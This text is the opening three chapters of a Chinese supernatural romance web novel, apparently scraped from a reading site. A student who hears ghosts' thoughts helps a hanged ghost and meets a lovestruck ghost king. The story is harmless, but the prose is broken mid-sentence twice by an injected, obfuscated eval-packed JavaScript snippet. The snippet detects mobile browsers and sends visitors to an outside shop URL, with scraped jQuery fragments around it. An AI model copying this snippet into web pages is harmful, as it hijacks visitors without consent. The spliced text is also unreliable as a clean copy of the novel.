《听见非人类男友心声后》 1. 第 1 章 晚八点,北城大学附近一条孤零零的巷子显得格外安静。一盏孤灯悬在巷口的檐角下,瓦数不高,并不十分明亮的光线照不清除了屋角之外的什么地方。 夜色之中藏着一团格外幽深的黑色雾气,弥漫在巷尾之中,将那孤灯照过来的微光吞噬殆尽。 依稀可见一个细长扭曲的身影,正吊着一根猩红的舌头,黑雾之中猩红光点闪烁,令人不寒而栗。 吊死鬼,又称缢鬼,乃怨气极重之恶鬼,或是含恨自缢,或是为他人用绳索勒死所致,即使是有所修为的天师,见到了也得慎重对付。 吊死鬼面前的地面上,还站着另一个身影。 那身影看着身量纤瘦,一件宽大的黑袍罩在身上,衬得肩膀更加瘦窄了些,领口连着兜帽,戴起遮住大半张脸,只露出一截雪白尖俏的下巴。 垂落的帽檐拢着一段纤长的脖颈,看着像是能被那一身猩红怨气的吊死鬼轻松折断一般。 而此时那吊死鬼正举着两只指甲尖长,染着鲜血的手掌,奋力合十。 然后虔诚地对着那黑袍人拜了三拜。 弯腰的时候,吊死鬼长长的舌头落在了地上。 它赶紧手忙脚乱地捞起那不听话的舌头,卷吧卷吧弄成一团,重新塞进了嘴里。 该死,怎么又掉出来了。 溪白就这么保持着双手抱臂的动作,整个人藏在黑袍的阴影之中,看着那吊死鬼小心翼翼地把舌头卷成一盘,尖长的指甲偶尔扎到舌苔,吊死鬼本就青白扭曲的五官显露出几分痛苦。 更吓人了,溪白默默闭眼。 他算是理解同系学姐说延长甲不方便生活是为什么了。 吊死鬼卷好舌头,期期艾艾地看向溪白。 “哎,别靠近。”溪白赶紧抬手,阻止了想要靠近的吊死鬼。 他侧耳细细听了一下,抬起手做了个安抚的动作,“你放心吧,状纸上会把内容写清楚的,嗯嗯,我知道,你是受害者,会让判官记那混账一笔的,以后让他入拔舌地狱……” 听到“拔舌地狱”四个字,吊死鬼下意识地捂了捂嘴。 从口袋里翻出早已准备好的纸笔朱砂,溪白让吊死鬼离得远了一些,咬着手机,借着电筒的光亮,写了一封简介的朱砂文墨状纸。 “你就在此地等着不要走动。”溪白看向吊死鬼,“一会千万别看我那边,知道了吗?” 吊死鬼点了点头,舌头又差点掉出来,赶紧把嘴捂严实。 用防风打火机将状纸点燃抛到空中,溪白退开几步一路到了巷口。 一阵阴风刮起,那漂浮在原地的吊死鬼感受到了一种源自三魂七魄的压迫感,它奋力压抑着逃离的本能,强迫自己留在原地,一双猩红的眼珠盯着巷子口那躲藏在墙角下的清瘦身影。 溪白给它做了个回头的手势。 吊死鬼转回脑袋,铭记着溪白的叮嘱:千万不能暴露他的存在。 溪白松了口气。 别看我了,真的太吓人了。 “何人召唤北城阴司?” 如漩涡一般流转起来的黑雾之中,多了一黑一白两道身影,一个持哭丧棒,一个牵勾魂索,乃是北城阴司属地下的两大阴差——黑白无常。 雾气之中,一张黄纸随着烈烈作响的阴风飘落,白无常伸手一接,下意识念出了上面用朱砂写着的文字。 状纸上详尽地写清楚了吊死鬼的自白,白无常念完后,抬起头看向半空。 吊死鬼哆哆嗦嗦地飘落下来,看着黑无常手里的勾魂索,不自觉地发抖。 “你就是诉状者?”白无常问。 吊死鬼点头,“呃呃”了两声。 “你的诉状我们已经明白了。” 白无常说着,一旁的黑无常已经翻看完了生死簿。 “害你的人半年前死于意外,魂魄还未转生,你与我们一同回阴司,向判官大人说明后,自会将那害你的人提审公堂。” 吊死鬼一愣,不太敢相信自己的耳朵。 本以为要在人间苦苦游荡,随着怨气加深而失去理智,伤害无辜,最终被天师绞杀打散,再无来世。 却不想还有沉冤得雪的这一天。 吊死鬼下意识地转头看向巷口,可此刻檐角的路灯下,早已空空如也。 “发什么呆呢,快随我们走吧。”黑无常催促了一句。 吊死鬼乖乖伸手让黑无常将勾魂索缚住双手,伴随着四周黑雾涌动包裹身体,它一双凹陷的眼珠里,流下两行血泪。 那人真是大善之人。 不知道黑袍之下是个什么模样,应该是清冷不染凡尘,真如神明一般吧。 想到这,吊死鬼心中激动。 而后就听到那黑袍人的声音带着点焦急响起,似乎还伴随着脚步渐行渐远。 “烤冷面发车?等我一个,酸甜微辣多刷酱!” 吊死鬼:…… 黑白无常似乎也听到了声响,疑惑地看了过去。 “那人是谁?”他俩下意识看吊死鬼。 吊死鬼沉默片刻。 铭记着溪白“不要暴露”的叮嘱,它揪出自己的舌头,比了个问号。 两位大人,我也不知道。 ※ 北城大学校门口的东北烤冷面逢周三四五出摊,每次都排百米长队,溪白和几个朋友约好轮流发车当车头,他今晚顾着忙吊死鬼的事情,居然差点把车错过了。 一边往巷子外的主街道赶,溪白一边急得直接发语言。 “庄算,看到我消息了吗,加我一个!” 只是他跑到路口转进主街道,顺手把头顶上的兜帽摘下来时,却并未看到熟悉的小吃街。 而是一条与方才送走吊死鬼那处,完全一致的巷子! 幽深漫长,几乎看不到尽头。 空气中还弥漫着一股焚烧过的纸灰气味。 脚步猛地停下,鞋底磨过地面潮湿的软沙,发出刺耳的摩擦声。 一阵寒风刮骨,吹得屋檐下那盏角灯摇晃,线路接触不良,灯光闪烁了几下,闪得溪白起了一身的鸡皮疙瘩。 身后传来几声脚步。 啪嗒。 第一声像是在百米开外。 啪嗒。 第二声则到了十米以内。 啪嗒…… 等溪白反应过来,第三声脚步响起。 已经到了他的身后。 本能让溪白猛地回过身,只觉得肩头被撞了一下,他下意识地闭眼,漆黑一片的视觉之中,夹杂着一个低沉的声音。 「嗯,是他。」 等溪白再次睁开眼时,耳膜里骤然充斥一片喧闹嘈杂之声,从叫卖到支付语音,再到外卖小哥不耐催促店家的声音,伴随着各种煎炸焖烤的食物香气,占据了溪白的五感。 他回来了? 溪白愣了半晌,下意识地回过头。 涌动的人流从他身旁两侧穿行而过,无数青春正盛的面孔和背影,根本分辨不出来撞他的是哪一个。 垂下眼看向微微发麻的肩头时,溪白闻到了什么,鼻尖下意识翕动了两下。 他肩头的布料上,染了一股很清冽的松木冷香。 手机震动两下,溪白下意识点开消息。 [神算子:@White 烤冷面来不来!速速,快到我了] 而他刚刚发在群里的语音消息左侧,赫然有一个鲜红的感叹号。 溪白赶紧回消息上了车,很快,庄算就发了几条语音来。 语音里带着小吃摊附近特有的嘈杂,还有庄算格外大的嗓门。 “买完了,按你往常的口味买的,酸甜微辣多刷酱,怎么样,够义气吧?” “还是老样子放你寝室门口?” 溪白逆着人流,往校园的方向赶。 他没什么心思吃烤冷面,只拿着手机将话筒凑到唇边,另一只手阻挡着外源的杂音。 “别!不用放我门口。” “那什么,我去你宿舍吃吧。” ※ 溪白就读于北城大学文学系,和庄算是同班同学,入学当天的第一节课就成为了朋友,而他俩的革·命友谊能一路走到今日,是因为他俩都有些“特殊”——两人并称“北城大学两大神棍”。 这称号是庄算自己封的。 庄算是家传的天师,但到了他身上却没什么天分,不过虽然是个半吊子,但掐算卜筮之类的东西,多少还是会一点。 而溪白则更玄一点。 他能听见鬼的“心里话”。 鬼魂游走于人世,多半是有牵挂不舍,但更多是心中有怨。 像今晚的吊死鬼,就是被前男友缢死,怨气化煞,成为厉鬼。 而像它那般舌头挂在外头的鬼,死后是无法说话的。 本就含怨而死,死后又无从叫屈,一来二去怨煞更甚。 要不是溪白,估计没多久那吊死鬼便要失去理智,四处害人,那时便只能请天师协会出动,将其绞杀。 而溪白的天赋,让他正巧成为了这些枉死的鬼魂得以倾吐的一个出口。 人世间的天师修行捉鬼,皆在于积攒功德,而功德的评判在于地府的阎罗判官。 别的天师只能见魂就捉,见鬼就杀,若是杀错了未曾害人的无辜冤魂,不仅不能积攒功德,反而还会折损阴德。 但溪白八字奇阴,能听见鬼的心声,可以准确地判断出哪些鬼是含冤而死,不致错杀,堪称天赋异禀。 可这是上天的恩赐,也是一种压力。 奇阴的八字代表着短寿之相,溪白若想要长命百岁,必须多积攒功德,也就是多帮助那些无辜的冤魂。 但有一个问题。 溪白怕鬼。 “所以你说我今天出巷子的时候,是遇到了鬼打墙吗?” 溪白将咬得坑坑洼洼的竹签和吃完的空碗丢进垃圾桶,一双水汪汪的大眼睛看着庄算,有些紧张地问道。 庄算呃了一声。 “难说。” 他艰难地吐出这两个字。 “溪宝,你得确认下那句话是你听见的‘心声’,还是撞到你的那个’人’说的话。” 溪白沮丧。 要是能确定,他也不用来找庄算了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108155|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果是人还好。 如果那句话是“心声”,那就说明他的确遇到了鬼打墙,而撞他的那个鬼,八成已经盯上他了。 但为什么要盯上他啊! “嗯,是他”又是个什么意思? 肩头幽幽的冷松木香似乎还在,溪白想起今晚从巷子口转出去后看到完全一致的另一条巷子的场景,不由哆嗦了一下。 他起身去阳台挤了点洗手液,狠狠涂搓了几下肩头的布料。 直到指尖都用力泛白,那股松木香才似乎被洗手液的味道盖住了。 溪白这才稍微平静了一点。 庄算给溪白拿了个家里传承的护身符,让他随身放口袋里。 宿舍门被人推开,庄算的室友回来了,溪白提着自己的黑袍出门,分别前,庄算突然想到个好主意,和溪白说: “其实多一个人一起呆着,就没那么吓人。” “溪宝,要不你赶紧找个室友吧。” 北城大学的宿舍是标配的两人间,但是房间有空余,学生可以自行申请一人住单间。 溪白一直以来都是一个人住。 他回到宿舍把自己的黑袍叠好,乖乖塞进柜子的最里层,又把柜门紧紧地合上。 上次他随手把袍子挂在另一张空床的床头,半夜从洗手间出来的时候从阳台刮来一阵风,溪白看着那好像要扑过来的黑袍,差点就大喊“呼神护卫”了。 将宿舍里里外外的灯全部打开,溪白抱着衣服进了浴室。 隔壁宿舍似乎是体育学院的,溪白洗着热水,一边听着隔壁宿舍的男生夹着嗓子飙高音,一边思考庄算的建议。 说起来,如果真的有个室友,或许没那么吓人。 但当他洗完澡在阳台晾衣服,听到隔壁男生开始连麦打游戏大喊大叫的同时,闻到从隔壁阳台上传来一阵沐浴露也盖不住的汗臭味的时候。 溪白觉得一个人住也挺好。 左不过,他还有庄算给的…… 拿着衣架的手一顿,溪白摸了摸自己的左右口袋。 等等,护身符呢?! 埋头进洗衣机里翻找了一顿,溪白在自己的裤袋里,找到了皱巴巴的一枚护身符。 刚刚光顾着想今晚的事情,溪白洗衣服之前,忘记了要掏口袋。 符纸上面的朱砂墨已经洇开,怎么看都没用了。 [神算子:啊!洗掉了?] [White:对不起QωQ] [神算子:没事没事,也就一枚符而已,我家有的是] 只不过恰巧那是庄算手里的最后一枚护身符,溪白要想再拿到一枚,就只能等周末庄算回家一趟才有了。 “毕竟我只是个半吊子,还没学到怎么画符……” 语音里,庄算有些赧然地道。 [神算子:对了,找室友的事你打算得怎么样?] [神算子:从理论上来说,找阳气重的当室友是最合适的了,毕竟鬼是阴物,阳气越重它们越不敢靠近] 溪白问怎么叫阳气重。 [神算子:肩宽腰窄长得高大结实,最好是经常运动的,哦对,就体育学院那种,阳气最重了!] 这是一条有味道的消息。 方才在阳台经历的嗅觉渡劫,又一次在溪白的脑海里重现。 有着轻微洁癖的溪白觉得还是算了吧。 [神算子:噢,那好吧] [神算子:我还说帮你问问呢] 溪白婉拒了庄算的好意,道过晚安准备熄灯就寝。 他作息比大部分大学生要健康,这个点整个北城大学的宿舍区都还是灯火通明。 但随着昏暗笼罩了整个宿舍,溪白望着天花板,还是觉得有些怕怕的。 他将两只脚丫缩回了被子里,抬起双腿压住被子下方,左翻一下,右翻一下,压好两边被角,闭上了眼睛,平复下自己的呼吸。 仪式感十足。 但对入睡没有一点帮助。 连续看了三次时间的溪白,起身下床又跑了趟洗手间。 他出来洗手的时候,听见了一阵敲门声。 这个点会来找他的基本上只有庄算,溪白以为他又在哪个边边角角找到了一枚护身符,欣喜地上前打开门。 门口空空荡荡。 唯有一阵夹杂着松木冷香的夜风,撩起了溪白额前的发丝,吹进了他身后的房间里。 风还在他的怀里,留下了一朵不知是什么品种的花瓣。 不多时,某个恰巧路过的同学,满脸茫然地看着一个漂亮精致的男生瞪着眼睛往走廊上丢了些什么,然后“砰”一声关上了自己的寝室门。 而后便见到一朵残缺的花瓣,被不知哪里刮来的风给卷起,消失在了走廊的尽头。 那路过的同学眨了眨眼。 见过丢花束的,没见过丢花瓣的。 而且今天也不是情人节啊? 而另一边,刚躺在床上准备刷一会短视频就睡觉的庄算收到了一条消息。 [White:那个,室友的事,要不你还是帮我问问吧QωQ] 2. 第 2 章 “刚好这几天有一场院赛,溪宝你赶上时候了。” 第二天下午的时候,庄算拉着还有些犹豫的溪白去了校体育馆,还没到体育馆附近,就看到不少分散的人流三两成群地从各个入口往场馆里走。 走进体育馆的时候,看台上已经入座超过一半了。 “好多人。”溪白下意识地感叹了一句。 “那肯定,今天是体育学院打工学院,全是身材好长得高的,这不得来饱饱眼福。”庄算拉着溪白往看台上走,“快点溪宝,不然没好位置了。” 溪白被庄算带着往看台正中央最前面那排一坐,不少视线便跟随着看了过来,还有人小声讨论。 “诶,是溪白耶。” “校花居然也来看球赛吗,没见他打过球呀。” “咳,和我们一样来看帅哥的吧……” 而正处于讨论中心的溪白本人对自己无意间吸引了一波注意的事情全然没有感知,他压低声音:“来球赛找室友,真的能找到吗?” “那你不是还没有男朋友嘛!”庄算朝他眨了眨一边眼睛。 “男,男朋友……”溪白的眼睛稍微睁大了些许,下意识地往四周瞟。 确定了没有人听见他们说的话,溪白几乎是将声音放轻到只有气声:“那,球赛找男朋友,能找到吗?” 怎么听起来比找室友还要不靠谱啊。 庄算一副一所当然的表情。 反正室友也要找,男朋友也要找,不如就一块找算了,还能提前适应一下同居生活。 而且溪白找室友不就是为了找个阳气足能当他“保护伞”的么,如果是男朋友,保护起来不是更加合情合理。 “反正你就抱着找男朋友的目的去看,看不上的话再退而求其次,选个室友就好了。” 庄算一嘴的歪理,把在感情上完全是一张白纸的溪白忽悠得一愣一愣的。 溪白下意识地往场地里热身的队员那边看去。 离他们看台比较近的是体育学院的,溪白眼神落过去时,一个圆寸头的男生也正看着他这边。 两人视线只有一点交错,溪白都还没来得及多想,那人却突然wow地怪叫了一声。 而后便从旁边的球筐里捞了一颗球入手,来了一段胯·下运球+后仰跳投。 球划出一道弧线,砸在篮板上弹开。 那男生恍若未闻,撩起球衣擦了一把不存在的汗,露出一片古铜色腹肌,引起看台上一片轩然。 擦完汗又抬手抹了把脸顺便抓了把头发,一手托着球,一手叉着腰朝台上看了过来。 溪白手指揉了揉太阳穴,默默将视线从那男生脸上几道灰扑扑的指痕上移开。 感觉有点……臭烘烘的。 “溪宝,好帅,好帅啊啊啊!!!”庄算抓着溪白的胳膊,激动得直跺脚。 看着被戳中了审美点的朋友,溪白此刻有些后悔。 他觉得自己好像不该听庄算的话来看比赛的。 别说男朋友了,他连室友都不可能找这样的。 昨夜隔壁寝室留下的一些阴影,在此刻又加深了一波。 而因为溪白这位“校花”的到来,今天两个学院的选手们打得格外凶猛,当然了,也格外的没配合。 个个都只想着solo炫技,要么三分要么过人,好端端的球赛,硬生生被打成了孔雀大作战。 而溪白甚至没看懂比赛的规则。 他只觉得体育馆里的空气似乎有些不流通。 “我去一下洗手间。”比赛进行到一半,溪白起身和庄算道。 庄算抓着不知从哪里要来的小旗,点点头算作回应,而后又专心致志地投入到啦啦队的身份中。 “啊啊啊啊12号!徐骁!!加油啊,你最帅!!!” 12号就是刚刚那个黑皮腹肌男,看庄算的样子,已经彻底变成迷弟了。 溪白摇了摇头,下了看台从后门走出了体育馆,顿时觉得空气清新了许多。 他循着标识找到洗手间,打算先洗把脸。 进去的时候,溪白看到洗手池边站了个人。 一开始的溪白并没有多加注意,直到一股非常提神醒脑的味道勾起了些许深刻的回忆。 大脑花了几秒才辨别出那气味是什么,溪白抓着水龙头的手指一顿,骤然抬起头时,他看到镜子里身旁的那人也正看着他。 “你……” 溪白听见自己的声音都有些变了。 那人意识到自己通过镜子偷偷观察的行为已经被溪白察觉,转过头时,露出了一双带着淡红色的耳朵。 形状好看的唇瓣张合了两下,他像是顺着溪白的话似的,语调很慢地“我……”了一声。 两人大眼瞪小眼地彼此对视了一会儿。 溪白慢慢的就不那么紧张了,他又看了一眼面前那人脚底下的地面。 有影子。 这下,溪白彻底松了口气。 方才他进门时,就在这男生身上闻到了一股松木冷香——就是昨天晚上在小吃街,自己肩头留下的那股松木冷香。 一开始,他还以为这个男生是鬼。 可看见对方不知为何带着点淡红色的耳垂,以及立体的眉骨下那双清澈明亮的眼睛,还有最重要的——脚底下的一片影子。 鬼是没有影子的,这点溪白再清楚不过。 率先开口的是心情一下轻松起来的溪白。 “那个,我们是不是见过……昨天晚上的小吃街,是你吗?” 溪白边说边打量着面前的男生,越看,越觉得惊讶。 面前的男生长相可以说是非常的……精致,溪白只能想到这个词。五官线条立体得有些张扬,但组合起来却又十分和谐,尤其是刚刚和他对视的那双眼睛,像是映着星河的琉璃宝石,有一种清澈干净的美感,因而也冲淡了不少锋锐感。 说到身材,更是肩宽腿长,从背心袖口里露出来的两条胳膊修长有力。 最重要的是,这个男生看起来非常干净。 目光重新回到男生的脸上时,溪白发现他的眼睛似乎比刚刚更亮了一点。 “你还记得我?” 看来真是他!溪白获得了一个非常好的答案。 既然昨晚碰到的是这个男生,那肯定就不是鬼撞了他。 而且,溪白看这男生不知道为什么,讲两句话脸都红了,想必气血很足。 更不可能是鬼了。 沉浸在发现“昨晚撞自己的是人不是鬼”的欣喜里的溪白,难得地多说了点话。 “你也是体育学院的吗?” 这男生身上套着件体育学院的院队球服,上面的数字是18号。 仔细看了一会儿,溪白突然觉得体育学院的球服其实还挺好看的。 男生点了点头,用力“嗯”了一声。 高高大大的身形,本该显得凌厉带点凶的五官,配上他此时微微睁大发亮的眼睛,构成了一种非常奇妙的气质。 让溪白突然有一种伸手摸摸这男生脑袋的冲动。 头发的质感看起来也很好,感觉摸起来会是柔软蓬松的。 “那你怎么在这呀?”溪白好奇地问了一句。 男生看着他,眼珠一错不错。 “受了点伤,没上场。” “啊?哪里受伤了,不严重吧?” 溪白下意识往男生露出来的手臂看去,皮肤白皙干净,带着点轻微的蜜色,健康但并不夸张,虽然是平静的状态,但依旧能看见清晰的肌肉线条。 不知道为什么,溪白就有些心跳加速。 他满了半拍才反应过来,自己可能是在激动。 溪白一边洗手,一边盯着汩汩的水流。 感觉这个男生应该会是个很好的室友人选! “小伤。”男生这时回答了一句,手掌轻轻抚了一下心口,“不打紧的,现在已经好了。” 洗手间里安静了一会儿,只听得到一声水龙头阀门拧紧时的碰响。 溪白抽了张纸将手指上的水珠细细擦净。 “那,你要注意好好休养。” “练体育的最怕留下陈旧伤了。” 男生又用力点了点头,头顶翘起来的发丝随着晃动了两下。 溪白按捺下不安分的手,转身。 “那我先走了。” “好。” 声线从身后追上了耳畔。 待溪白的身影从拐角处隐去,连地面上投下的影子尾巴都消失不见,洗手间里重新变得格外安静。 良久,那站立的高大身影才又一次有了动作。 “他居然,还记得我。”男生轻轻摸了摸自己的心口,像是做下了什么重要的决定。 一阵黑雾从地面上弥漫而起。 溪白沿着原路返回体育馆,脑海里像是开了一局连连看似的。 ——身材高大,有肌肉的阳气重,那个男生符合。 ——经常锻炼的阳气重,那个男生是院篮球队的。 ——照着体育学院的找,那个男生就是体育学院的。 昨晚庄算说过的话一句接一句蹦出来,和那男生一一对应上。 不论怎么看都很有安全感的样子。 溪白正想着怎么和对方发出合租的邀请,随即意识到了什么,脚步一顿。 “同学!” 反应过来自己既没有问对方姓名,也不曾留下任何联系方式的溪白,赶紧转身回去。 可抓着洗手间大门的门框往里看去时,却发现那里早已人去楼空。 诶,这就走了? 溪白眨了眨眼,又回头看了看自己过来时的路。 他回来的时候没碰着那男生啊。 这附近还有别的地方通向体育馆内部吗? ※ “昨晚撞到你的人就是他?缘分呐。” 比赛结束后,两人一同往体育馆外走,听闻了溪白方才的经历,庄算直竖大拇指。 “去个洗手间就碰到正缘了,可以呀溪宝!” “不是。”溪白为自己辩白,“只是找室友而已。” 而且联系方式忘了留,名字也忘记问,八字还没一撇,就给他自己先抹掉了。 “你还记得什么特点之类的吗?”庄算问。 溪白开始掰指头。 “长得帅,也有肌肉,看着很爱干净,眼睛很亮很好看,而且很礼貌,说话的时候会看着你,声音也好听……” 被庄算盯着,溪白越说越小声,直到最后,又慢吞吞地补充了一句。 “……他球衣上的号码是18。” “行,我给你问问。”庄算意味深长地看了一眼溪白,拍了拍他的肩。 溪白:“嗯。” 他还有一句没说。 头发蓬蓬松松的,发量也很多。 看起来像一只很乖的大狗。 溪白正想着庄算是要给他算一卦还是请个神问问,就见庄算伸手拦住路边一个体育学院的男生。 “诶同学打听个事,你们院队18号是谁?” 溪白:…… 不一会儿,庄算就晃着手机回来了,脸上表情志得意满。 “搞定。” [神算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108156|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子:顾弛,大三,刚来的转校生,微信号GC****] 庄算凑过来和正看手机消息的溪白耳语。 “听说这个顾同学刚来就抢了原本体育学院院草的位置,目前好像正在向校草的宝座稳步进发。” “竞争激烈哇溪宝。” 溪白抿了抿唇,再一次强调说:“我就是找个室友。” 就是声音里没什么底气。 “好好好。”庄算又眨了眨眼,嘻嘻一笑,“你快加他吧,省得晚了被人把室友抢走了。” 溪白应了一声,可当他的指尖落在那串蓝色字符的微信账号上时,却接连几次都没按上去。 “咋了?”庄算看出了溪白的犹豫。 冷静下来的溪白恢复了平日的大脑转速,他又一次想起了昨天晚上鬼打墙的事情。 顾弛说昨晚撞到自己的人就是他,但溪白自己的确遭遇了鬼打墙没错,而且还听到了一阵诡异的脚步声。 这又该怎么解释呢? 将自己犹豫的原因说了出来,溪白带着征求的眼睛看向庄算。 有没有什么想法? 庄算却还是一副理所应当的样子。 “你不是接触了吊死鬼嘛,身上的阳火肯定短时间会变弱,估计周围有什么其他的小鬼或者阵法之类的,你才鬼打墙了。” 他说着一拍手,似乎是找到了问题的关键。 “而且顾弛撞了你一下你就回到小吃街了,那不正好说明他阳气足,才能把你从鬼打墙里撞出来么!” 这么一想。 “你俩绝配啊!”庄算说道。 是……这个道理么? 溪白眨了眨眼,抿着唇。 庄算的话,好像也有点道理。 “我想想怎么跟他说吧。”溪白道。 ※ [神算子:溪宝,你明天生日,我们去吃你最爱的那家牛肉自助吧!] 经庄算一提醒,溪白这才想起自己20岁的生日快到了。 这两天忙着找室友的事情,居然给忘了。 给庄算回了个好,熄灯后,溪白躺在床上。 他的位置一转头,就能看到寝室里另一张闲置的床铺。 他借着隐幽的微光,盯着对铺床板上不甚明晰的木纹看了许久,视线垂落时,余光看到自己睡衣的领口。 下意识吸了吸鼻子,溪白闻到了他买的洗衣液的香味。 顾弛身上的松木香会不会也是洗衣液的味道? 溪白搓了搓自己的脸。 从下午看完球赛到现在,他都没想好该怎么加顾弛的微信,和他说合租的事情。 明明很简单的一件事,加好友发消息,同意就搬进来,不同意就下一个更乖。 尽管庄算今天有理有据地列出了很多支持他“出手”的证据,但溪白不知为什么就是觉得哪里怪怪的,久久迈不出第一步。 今天晚上的寝室似乎格外的昏暗,溪白打了个哈欠。 被生理性泪水模糊了视线,溪白似乎看到寝室天花板上的白炽灯管接口处有些忽明忽暗,像是接触有些不太良好。 只是还没等他仔细辨别清楚,一阵莫名的困意就先一步替他合上了眼皮。 意识落入一片混沌,溪白彻底睡了过去。 不知过了多久。 一阵带着透骨阴寒的风吹起了发丝,露出溪白光洁饱满的额头。 被子呢…… 摸索了一下没找到,眉头轻轻皱起。 溪白睁开眼的时候,才发现自己不在床上。 四周一片漆黑,举目望去,连黑暗的边际也望不到。 脚下的“地面”踩着的触感不实,溪白低头,小腿就直接软了。 他踩在一片黑色的云雾上! 不仅是脚下,连四周所有的黑色,都是类似的黑雾。 溪白伸手探了探,又试探着走了几步。 虽然雾气看着虚浮,但他的身体并不如想象的一般会掉下去,只是不管他往哪个方向走,四周都是一片不见尽头的黑暗。 反而是他自己,成了这片空间唯一的光源。 啪嗒,啪嗒…… 响起的脚步声,让溪白瞬间辨认了出来。 不是他有多么熟悉,而是这第一步还十分遥远,第二步却已至方寸之内的脚步声听了一次就不会忘记。 被一同唤醒的除了记忆,还有恐惧。 回过头时,一个高大的身影已经出现在了溪白的身后,那身影笼罩在层层的黑雾之中,看不清面容,但身材十分高大。溪白本身又比较瘦小,他必须得仰头才能看见那个影子的脑袋,本就诡异的压迫感更加强烈了些许。 “你,你究竟是谁?” 溪白很努力地想让自己气势听起来足一些,可惜事与愿违。 又是鬼打墙,又是夜晚入梦——溪白甚至不知道这是不是梦。 他都快要被吓死了。 话音刚落,他听到黑雾之中四面八方传来回荡的声音。 “我是……酆都地府的鬼王。” 鬼,鬼王?! 不仅是鬼,还不是普通的鬼,而是鬼王? 溪白觉得眼前有些发黑。 不知怎么的,他居然从鬼王的声音里听出了几分喜悦。 偏此时,他于阵阵回声中还听见了一声混杂其中的,很轻的笑声。 不是那种冷笑,也不是讥讽的高高在上的笑。 就是很轻的,发自心底的那种,克制不住的轻笑。 溪白无助之中,又有些无语和震惊。 不是,你在高兴些什么啊! 3. 第 3 章 情势可以说是万分紧张,但却也有一种诡异的微妙感。 溪白不知道那鬼王为何突然到来,他只是一介凡人,哪怕有点读心术的奇特能力,也不至于让鬼王大驾光临吧。 难道是他乐于助鬼的事情在地府里传扬开来,不经意间引起了下·面的关注? 听庄算说地府里也有不少冤假错案,难道就是因为这个,需要让他下去明辨忠奸? 有编制的确很好,但溪白现在还不想死啊! 正当溪白大脑飞速转动,思索着鬼王到来的原因,以及该如何应对时。 一本古旧的书册凭空自黑雾之中浮现,看着有些像影视剧里的账簿。 书页翻卷,溪白仔细看了看,发现那像是练习书法时用的宣纸,而上面写的内容也用的是十分古老的繁体文字。 书册的封面上写着三个复杂的古字,溪白仔细辨别了一下。 好像是……生死簿? “据生死簿所记载……” 鬼王的声音再度响起,犹如什么咒语一般从各处传来。 “你阳寿已尽,随我去地府吧。” 溪白的第一反应是愣住。 庄算早已给他打过预防针,他八字极阴,寿数不多,所以需要积德行善,以功德换取更多的阳寿。 但他从没想过,自己这些年来做了这么多好人好事,却活不过二十岁? “生死簿写我只能活二十年吗?” 内心的震惊与不平,让溪白忍不住开口问了这么一句。 如果他没有帮那么多鬼呢,是不是早就离世了? 憧憧黑影之中,弥漫着一阵诡异的沉默。 溪白只是个有些特殊的凡人,他并不知道生死簿上究竟写了些什么,但实际上,所谓“生死有命”的说法的确不假,但人的实际寿数,并非由天定而不可违。 生死簿上记载一个人的阳寿,分别划分为“天定寿数”和“功德寿数”两个部分,前者的确就是所谓的“生死有命”,而后者则取决于当事者在活着的时候所积攒的功德。 所以他现在并非是非死不可。 但说他阳寿已尽,却是没错的。 或许是溪白的疑惑在巧合之下十分的尖锐,就见四周鬼王的说话声停顿了一下。 于这一阵意料之外的安静之中,溪白听到了一些其他的声音。 先是一段断断续续的杂音,但却逐渐越来越清晰。 他下意识地侧耳倾听,在分辨清楚声音里的内容之后,他蓦地抬起头看向鬼王,眼里充满质问。 “你刚刚说,担心我看破什么?” 鬼王:…… 四周的黑雾躁动起来,伴随一阵风起云涌的声响。 溪白又听见鬼王的声音说:「woc,他能听到我内心?不会知道他没到死期,我骗他的吧?」 惊诧与被欺骗的气恼下,溪白连恐惧都忘了,直接开口戳破道:“你居然骗我!” 鬼王:!! 惊怒惧三重情绪交加下,溪白耳朵动了动,又敏锐地捕捉到了什么,这一次,他的声线带上了明显的错愕。 “你,你还喜欢我?!” 阴风卷着黑云从地面上刮起,看似无边际的黑暗空间逐渐爬满碎裂的网状纹路。 梦境彻底破碎,而溪白眼前,依旧残留着那黑云随着鬼王被阴风卷走时,露出的半只耳朵。 虽然仅有无意之中的一瞥,但耳朵上染着的红晕,却留在了溪白的脑海里。 寝室之中,溪白猛地坐了起来。 他大口大口地呼吸着,低头看了一眼自己的手,他下意识地摸了摸额头。 体温,还在。 又摸了摸脉搏。 十分清晰。 溪白最终掐了自己一把,疼得龇牙咧嘴了,才彻底放下心向后躺回了枕头上。 幸好,他还活着。 手指碰到了点东西,溪白摸索了一下,拿过手机。 他想到了什么,又一次坐了起来。 点开庄算的聊天小窗,溪白手指迅速滑动了几下。 在记录之中找到那个蓝色的微信账号,溪白一气呵成地点击、搜索好友、发送添加邀请。 溪白一点也不犹豫了,为了他的生命安全着想,也为了他生活中不再出现什么奇怪的鬼王、鬼打墙。 他一定要赶紧找个室友。 结果验证消息才刚发过去,溪白就看到自己的微信弹出个小红点。 [顾:我已经通过了你的好友验证,开始聊天吧] 溪白看了一眼手机屏幕正上方显示的时间。 晚上4点44分。 ? 顾弛这人,不睡觉的吗? ※ 